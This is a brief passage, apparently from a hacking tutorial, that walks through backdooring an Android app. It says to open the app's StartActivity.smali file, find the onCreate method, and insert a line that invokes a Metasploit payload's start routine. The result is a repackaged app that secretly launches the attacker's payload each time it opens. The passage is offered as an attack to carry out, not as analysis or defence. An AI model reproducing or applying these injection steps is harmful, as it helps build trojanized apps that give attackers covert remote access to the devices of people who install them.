Open the StartActivity.smali file with a Text Editor.
Now search for “ ;->onCreate(Landroid/os/Bundle;)
When you locate it, paste the following code in the line next to it : invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V